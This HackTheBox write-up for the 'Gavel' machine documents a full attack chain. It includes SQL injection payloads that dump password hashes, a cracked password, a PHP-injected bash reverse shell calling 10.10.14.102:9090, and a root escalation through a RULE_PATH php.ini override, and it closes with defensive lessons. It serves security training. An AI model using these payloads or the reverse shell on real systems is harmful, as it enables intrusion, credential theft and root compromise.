HTB: Gavel Writeup

Gavel - HackTheBox Writeup

Machine Information

AttributeDetails
NameGavel
OSLinux
DifficultyMedium
PointsN/A
Release Date1 December 2025
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Gavel is a medium-difficulty Linux machine that showcases the exploitation of misused SQL PDO statements to achieve SQL injection and extract sensitive data from an internal database. The vulnerability is leveraged to obtain administrator credentials, which grant access to an admin panel where PHP code can be injected into bidding rules. This leads to remote code execution as the www-data user. Lateral movement is achieved through password reuse, and privilege escalation is accomplished by abusing a root-owned daemon that processes user-supplied YAML files with a sandboxed PHP environment, where the PHP configuration can be overridden to enable dangerous functions.

TL;DR: Exposed .git → Source code review → PDO SQL injection → Extract admin credentials → PHP code injection in bidding rules → RCE as www-data → Lateral movement via password reuse → Override PHP sandbox configuration → Root code execution.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.42.228

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open http Apache httpd 2.4.52

Two services are exposed: SSH on port 22 and HTTP on port 80. The HTTP service redirects to http://gavel.htb/, indicating a virtual host.

Service Enumeration

Add the hostname to /etc/hosts:

Terminal window
echo "10.129.42.228 gavel.htb" | sudo tee -a /etc/hosts

Visiting http://gavel.htb reveals an auction web application with items available for bidding. The application allows user registration and login.

Directory Enumeration

Terminal window
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://gavel.htb/FUZZ

Key Finding: A .git directory is exposed, indicating the application source code is version-controlled and publicly accessible.

Vulnerability Assessment

  1. Exposed .git directory — Source code can be dumped using git-dumper
  2. PDO SQL injection via emulated prepares — User input directly interpolated into SQL queries with backtick-quoted identifiers
  3. PHP code injection in bidding rules — Rules are evaluated as PHP expressions using runkit_function_add()
  4. Unvalidated PHP sandbox configuration — The RULE_PATH environment variable allows overriding the PHP configuration file

Initial Foothold

Step 1: Extract Source Code

Terminal window
python3 /opt/git-dumper/git_dumper.py http://gavel.htb/.git/ git
ls ./git

The dumped source reveals the application structure, including inventory.php, bidding.php, admin.php, and includes/bid_handler.php.

Step 2: Identify PDO SQL Injection

Examining inventory.php, we find vulnerable code:

$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);

The $col variable is directly interpolated into the query. When PDO’s emulated prepares mode is enabled (default), we can exploit a null-byte injection to bypass the lexer. By using a backtick-quoted identifier with a ? followed by %00, the PDO lexer falls back to interpreting ? as a positional bind token, allowing secondary SQL injection.

Step 3: Register and Login

Create a test account to access the application and test the injection point:

Username: testuser
Password: TestPassword123

Step 4: Trigger SQL Injection via Inventory Sorting

Bid on an item and wait for it to be added to inventory. Then intercept the sorting request in Burp Suite. Modify the user_id POST parameter with the SQL injection payload:

user_id=item_name`%20FROM%20(SELECT%20table_name%20AS%20`%27item_name`%20from%20information_schema.tables)y;--&sort=\?--%00

This returns a list of database tables, revealing a users table.

Step 5: Extract Admin Credentials

Use a similar payload to extract usernames and password hashes:

user_id=item_name`%20FROM%20(SELECT%20CONCAT_WS(0x3a,%20id,%20username,%20password)%20AS%20`%27item_name`%20from%20users)y;--&sort=\?--%00

Output:

1:admin:$2y$10$...
2:auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS

Step 6: Crack Password Hash

Terminal window
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

Result:

$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1

The auctioneer password is midnight1.

Step 7: Login as Auctioneer

Log in to http://gavel.htb with credentials:

Username: auctioneer
Password: midnight1

Access is granted to the admin panel.

Step 8: PHP Code Injection via Bidding Rules

Examine includes/bid_handler.php to understand how rules are processed:

$rule = $auction['rule'];
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);

Rules are arbitrary PHP code executed via runkit_function_add(). By editing a bidding rule in the admin panel, we can inject malicious PHP code.

Step 9: Inject Reverse Shell

In the admin panel, edit a bidding rule and replace it with:

system("bash -c 'bash -i >& /dev/tcp/10.10.14.102/9090 0>&1'"); return true;

Start a listener on the attacker machine:

Terminal window
nc -lvnp 9090

Step 10: Trigger RCE

Navigate to the Bidding page and place a bid on the item whose rule was modified. The malicious rule is evaluated, executing the reverse shell:

listening on [any] 9090 ...
connect to [10.10.14.102] from (UNKNOWN) [10.129.42.228] 52232
bash: cannot set terminal process group (1110): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$

Step 11: Stabilize Shell

Terminal window
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo
fg

Privilege Escalation

Step 1: Identify Lateral Movement Opportunity

Check system users:

Terminal window
cat /etc/passwd | grep -E "bash|sh"

Discover the auctioneer user. Attempt password reuse:

Terminal window
su auctioneer
# Password: midnight1

Successfully switch to the auctioneer user.

Step 2: Enumerate Group Memberships

Terminal window
id
# uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

The auctioneer user is a member of the gavel-seller group.

Step 3: Find Group-Owned Resources

/run/gaveld.sock
find / -group gavel-seller 2>/dev/null
# /usr/local/bin/gavel-util

Discover:

  • /usr/local/bin/gavel-util — A binary owned by the gavel-seller group
  • /run/gaveld.sock — A Unix domain socket

Step 4: Analyze gavel-util Binary

Terminal window
file /usr/local/bin/gavel-util
# ELF 64-bit LSB pie executable, x86-64
/usr/local/bin/gavel-util
# Usage: /usr/local/bin/gavel-util <cmd> [options]
# Commands:
# submit <file> Submit new items (YAML format)
# stats Show Auction stats
# invoice Request invoice

The binary communicates with a daemon (gaveld) running as root, which processes YAML files.

Step 5: Examine gaveld Daemon

Terminal window
ps aux | grep gavel
# root 1048 0.0 0.0 19128 3900 ? Ss /opt/gavel/gaveld
ls -la /opt/gavel/
# -rwxr-xr-- gaveld (root-owned)
# drwxr-x--- submission
# sample.yaml
# .config/php/php.ini

The daemon runs as root and evaluates PHP rules using a sandboxed PHP environment.

Step 6: Analyze PHP Sandbox Configuration

Terminal window
cat /opt/gavel/.config/php/php.ini

Output:

engine=On
display_errors=On
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
open_basedir=/opt/gavel

Dangerous functions are disabled in the sandbox.

Step 7: Identify PHP Configuration Override Vector

By analyzing the binary with Ghidra, the php_safe_run function uses an environment variable RULE_PATH to specify the PHP configuration file:

// Pseudocode from binary analysis
setenv("RULE_PATH", user_controlled_path);
// php -c $RULE_PATH ...

We can override the RULE_PATH to point to our own modified php.ini.

Step 8: Create Custom PHP Configuration

Terminal window
cd /home/auctioneer
cp /opt/gavel/.config/php/php.ini ./php.ini
# Remove dangerous function restrictions
sed -i 's/disable_functions=.*/disable_functions=/' php.ini

Alternatively, directly edit php.ini:

Terminal window
cat > php.ini << 'EOF'
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
EOF

Step 9: Create Malicious YAML Submission

Terminal window
cat > item.yaml << 'EOF'
---
name: Exploit
description: Exploiting
image: test.png
price: 1
rule_msg: "Exploiting"
rule: |
system('cat /root/root.txt > /home/auctioneer/root.txt');
return true;
EOF

Step 10: Submit with Environment Override

Terminal window
RULE_PATH=/home/auctioneer/php.ini /usr/local/bin/gavel-util submit item.yaml
# Item submitted for review in next auction

The gaveld daemon processes the submission, evaluates the PHP rule using our custom php.ini (with no function restrictions), and executes the system command as root.

Step 11: Retrieve Root Flag

Terminal window
ls -la /home/auctioneer/
# root.txt appears after gaveld processes the submission
cat /home/auctioneer/root.txt

Attack Chain Summary

Exposed .git directory
Dump source code
Identify PDO SQL injection (emulated prepares + null-byte bypass)
Extract admin credentials from users table
Crack password hash (hashcat)
Login as auctioneer → Access admin panel
Inject PHP code into bidding rules (runkit_function_add)
Place bid → Trigger RCE as www-data
Lateral movement via password reuse (su auctioneer)
Discover gavel-util binary (gavel-seller group)
Analyze gaveld daemon (root-owned, processes YAML)
Override RULE_PATH environment variable
Create custom php.ini with disabled_functions=
Submit malicious YAML with system() call
Gaveld evaluates rule with custom php.ini
Command executes as root → Root flag obtained

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ffufDirectory and virtual host enumeration
git-dumperExtract source code from exposed .git directory
Burp SuiteIntercept and modify HTTP requests for SQL injection testing
hashcatCrack bcrypt password hashes
GhidraDecompile and analyze ELF binaries
netcatReverse shell listener

Key Learnings

Techniques Practiced

  • PDO emulated prepares exploitation via null-byte injection in backtick-quoted identifiers
  • SQL injection enumeration and data extraction from information_schema
  • PHP code injection via runkit_function_add() dynamic function creation
  • Binary analysis and reverse engineering with Ghidra
  • Environment variable-based configuration path traversal
  • PHP.ini disable_functions bypass through custom configuration files
  • Privilege escalation through process automation and sandboxed environment manipulation

Lessons Learned

  1. Never expose .git directories — Version control metadata leaks entire source code and development history, enabling informed exploitation.

  2. Avoid interpolating user input into prepared statements — Even with parameterized queries, PDO’s emulated prepares mode is vulnerable to null-byte injection when identifiers are user-controlled.

  3. Validate and sanitize all user inputs thoroughly — Configuration paths, rule expressions, and YAML content should never be user-supplied without strict validation.

  4. Sandboxing requires defense-in-depth — Restricting dangerous functions in php.ini is insufficient if the configuration file itself can be overridden through environment variables.

  5. Apply principle of least privilege — The gaveld daemon should run as an unprivileged user, not root, and use mandatory access control (AppArmor, SELinux) to restrict actions.

  6. Monitor and restrict environment variable inheritance — Critical processes should explicitly clear or whitelist environment variables to prevent exploitation vectors.

  7. Implement strict password policies — Password reuse across services (web app → system) enabled lateral movement; enforce unique, strong passwords per service.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>